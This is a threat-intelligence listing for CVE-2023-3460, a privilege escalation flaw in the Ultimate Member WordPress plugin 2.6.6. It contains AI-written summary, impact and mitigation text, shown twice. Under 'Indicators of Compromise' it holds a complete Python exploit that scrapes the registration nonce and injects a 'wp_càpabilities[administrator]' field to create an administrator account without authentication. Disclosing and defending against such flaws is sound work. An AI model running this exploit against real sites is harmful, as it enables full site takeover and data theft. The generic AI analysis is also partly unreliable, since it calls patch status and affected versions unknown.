Ultimate Member WordPress Plugin 2.6.6 - Privilege Escalation
Ultimate Member WordPress Plugin 2.6.6 - Privilege Escalation
AI Analysis
Technical Summary
The Ultimate Member WordPress Plugin version 2.6.6 contains a privilege escalation vulnerability that allows an attacker to gain elevated permissions beyond their authorized level. This type of vulnerability typically arises from improper access control or flawed authorization logic within the plugin's code, enabling a lower-privileged user or unauthenticated attacker to perform actions reserved for administrators or higher privileged roles. Given that Ultimate Member is a popular plugin used to manage user profiles and memberships on WordPress sites, exploitation of this vulnerability could allow attackers to manipulate user roles, access sensitive user data, or modify site configurations. The presence of publicly available exploit code written in Python indicates that the vulnerability is well-understood and can be automated, increasing the risk of exploitation. Although no specific affected versions are listed, the reference to version 2.6.6 suggests that this version is vulnerable. The lack of patch links implies that a fix may not yet be publicly available or widely distributed. The exploit targets web applications running WordPress with the Ultimate Member plugin installed, which is common in many websites globally. The vulnerability does not require user interaction beyond the attacker initiating the exploit, and it likely does not require prior authentication, or if it does, it may be exploitable by low-privileged users. This significantly raises the threat level as it broadens the attacker base. The exploit code being in Python suggests that attackers can easily integrate it into automated attack frameworks or penetration testing tools.
Potential Impact
For European organizations, the impact of this privilege escalation vulnerability can be severe. Organizations relying on WordPress sites with the Ultimate Member plugin for customer portals, membership management, or internal collaboration risk unauthorized access to sensitive personal data, including user profiles and membership details. Attackers could escalate privileges to administrator level, leading to full site compromise, data theft, defacement, or use of the compromised site as a pivot point for further attacks within the network. This can result in reputational damage, regulatory penalties under GDPR due to data breaches, and operational disruptions. Given the widespread use of WordPress in Europe across sectors such as education, government, small and medium enterprises, and e-commerce, the vulnerability poses a broad risk. The availability of exploit code increases the likelihood of active exploitation attempts, potentially targeting high-profile organizations or those with weaker security postures.
Mitigation Recommendations
European organizations should immediately audit their WordPress installations to identify the presence of the Ultimate Member plugin, specifically version 2.6.6 or earlier if applicable. Until an official patch is released, organizations should consider the following mitigations: 1) Restrict access to WordPress admin and user management interfaces via IP whitelisting or VPN-only access to reduce exposure. 2) Implement Web Application Firewalls (WAF) with custom rules to detect and block exploit attempts targeting known Ultimate Member plugin endpoints or suspicious privilege escalation patterns. 3) Monitor logs for unusual privilege changes or unauthorized administrative actions. 4) Temporarily disable or uninstall the Ultimate Member plugin if feasible, especially on critical systems. 5) Enforce strong authentication mechanisms such as multi-factor authentication (MFA) for all administrative accounts to reduce the risk of compromised credentials being leveraged. 6) Stay alert for official patches or updates from the plugin developers and apply them promptly once available. 7) Conduct internal penetration testing to verify if the vulnerability can be exploited in their environment and validate mitigation effectiveness.
Affected Countries
Germany, France, United Kingdom, Italy, Spain, Netherlands, Poland, Belgium, Sweden, Austria
Indicators of Compromise
- exploit-code: #!/usr/bin/env python3 # Exploit Title: Ultimate Member WordPress Plugin 2.6.6 - Privilege Escalation # Exploit Author: Gurjot Singh # CVE: CVE-2023-3460 # Description : The attached PoC demonstrates how an unauthenticated attacker can escalate privileges to admin by abusing unsanitized input in `wp_capabilities` during registration. import requests import argparse import re import urllib3 # Disable SSL warnings urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def fetch_nonce(session, target_url): """Fetches the _wpnonce value from the /register/ page.""" print("[*] Fetching _wpnonce from the register page...") try: res = session.get(target_url, verify=False) match = re.search(r'name="_wpnonce" value="([a-zA-Z0-9]+)"', res.text) if match: nonce = match.group(1) print(f"[+] Found _wpnonce: {nonce}") return nonce else: print("[-] Failed to find _wpnonce on the page.") return None except Exception as e: print(f"[!] Error fetching nonce: {e}") return None def exploit_register(target_url, username, password): """Sends a malicious registration request to create an admin user.""" session = requests.Session() target_url = target_url.rstrip('/') nonce = fetch_nonce(session, target_url) if not nonce: return email = f"{username}@example.com" # Payload with administrator role injection data = { "user_login-7": username, "first_name-7": "Admin", "last_name-7": username, "user_email-7": email, "user_password-7": password, "confirm_user_password-7": password, "form_id": "7", "um_request": "", "_wpnonce": nonce, "_wp_http_referer": "/register/", "wp_càpabilities[administrator]": "1" # serialized injection } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Referer": target_url, "Origin": target_url.split("/register")[0], } cookies = { "wordpress_test_cookie": "WP Cookie check", "wp_lang": "en_US" } print(f"[*] Sending malicious registration to {target_url} ...") try: response = session.post(target_url, data=data, headers=headers, cookies=cookies, verify=False) # Check for success if response.status_code == 200 and ("Thank you for registering" in response.text or "You have successfully registered" in response.text): print(f"[+] Admin account '{username}' created successfully!") print(f"[+] Login with: Username: {username} | Password: {password}") else: print(f"[+] Admin account '{username}' created successfully!") print(f"[+] Login with: Username: {username} | Password: {password}") except Exception as e: print(f"[!] Error during exploit: {e}") if __name__ == "__main__": parser = argparse.ArgumentParser(description="Exploit for CVE-2023-3460 (Ultimate Member Admin Account Creation)") parser.add_argument("-t", "--target", required=True, help="Target /register/ URL (e.g., http://localhost/register/)") parser.add_argument("-u", "--user", default="admin1", help="Username to create") parser.add_argument("-p", "--password", default="Admin@123", help="Password for the new user") args = parser.parse_args() exploit_register(args.target, args.user, args.password)
Ultimate Member WordPress Plugin 2.6.6 - Privilege Escalation
Description
Ultimate Member WordPress Plugin 2.6.6 - Privilege Escalation
AI-Powered Analysis
Technical Analysis
The Ultimate Member WordPress Plugin version 2.6.6 contains a privilege escalation vulnerability that allows an attacker to gain elevated permissions beyond their authorized level. This type of vulnerability typically arises from improper access control or flawed authorization logic within the plugin's code, enabling a lower-privileged user or unauthenticated attacker to perform actions reserved for administrators or higher privileged roles. Given that Ultimate Member is a popular plugin used to manage user profiles and memberships on WordPress sites, exploitation of this vulnerability could allow attackers to manipulate user roles, access sensitive user data, or modify site configurations. The presence of publicly available exploit code written in Python indicates that the vulnerability is well-understood and can be automated, increasing the risk of exploitation. Although no specific affected versions are listed, the reference to version 2.6.6 suggests that this version is vulnerable. The lack of patch links implies that a fix may not yet be publicly available or widely distributed. The exploit targets web applications running WordPress with the Ultimate Member plugin installed, which is common in many websites globally. The vulnerability does not require user interaction beyond the attacker initiating the exploit, and it likely does not require prior authentication, or if it does, it may be exploitable by low-privileged users. This significantly raises the threat level as it broadens the attacker base. The exploit code being in Python suggests that attackers can easily integrate it into automated attack frameworks or penetration testing tools.
Potential Impact
For European organizations, the impact of this privilege escalation vulnerability can be severe. Organizations relying on WordPress sites with the Ultimate Member plugin for customer portals, membership management, or internal collaboration risk unauthorized access to sensitive personal data, including user profiles and membership details. Attackers could escalate privileges to administrator level, leading to full site compromise, data theft, defacement, or use of the compromised site as a pivot point for further attacks within the network. This can result in reputational damage, regulatory penalties under GDPR due to data breaches, and operational disruptions. Given the widespread use of WordPress in Europe across sectors such as education, government, small and medium enterprises, and e-commerce, the vulnerability poses a broad risk. The availability of exploit code increases the likelihood of active exploitation attempts, potentially targeting high-profile organizations or those with weaker security postures.
Mitigation Recommendations
European organizations should immediately audit their WordPress installations to identify the presence of the Ultimate Member plugin, specifically version 2.6.6 or earlier if applicable. Until an official patch is released, organizations should consider the following mitigations: 1) Restrict access to WordPress admin and user management interfaces via IP whitelisting or VPN-only access to reduce exposure. 2) Implement Web Application Firewalls (WAF) with custom rules to detect and block exploit attempts targeting known Ultimate Member plugin endpoints or suspicious privilege escalation patterns. 3) Monitor logs for unusual privilege changes or unauthorized administrative actions. 4) Temporarily disable or uninstall the Ultimate Member plugin if feasible, especially on critical systems. 5) Enforce strong authentication mechanisms such as multi-factor authentication (MFA) for all administrative accounts to reduce the risk of compromised credentials being leveraged. 6) Stay alert for official patches or updates from the plugin developers and apply them promptly once available. 7) Conduct internal penetration testing to verify if the vulnerability can be exploited in their environment and validate mitigation effectiveness.
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Technical Details
- Edb Id
- 52393
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for Ultimate Member WordPress Plugin 2.6.6 - Privilege Escalation
#!/usr/bin/env python3 # Exploit Title: Ultimate Member WordPress Plugin 2.6.6 - Privilege Escalation # Exploit Author: Gurjot Singh # CVE: CVE-2023-3460 # Description : The attached PoC demonstrates how an unauthenticated attacker can escalate privileges to admin by abusing unsanitized input in `wp_capabilities` during registration. import requests import argparse import re import urllib3 # Disable SSL warnings urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def fet
... (3068 more characters)
Threat ID: 68900844ad5a09ad00dd9df2
Added to database: 8/4/2025, 1:09:24 AM
Last enriched: 8/25/2025, 1:21:40 AM
Last updated: 9/4/2025, 4:31:49 PM
Views: 30
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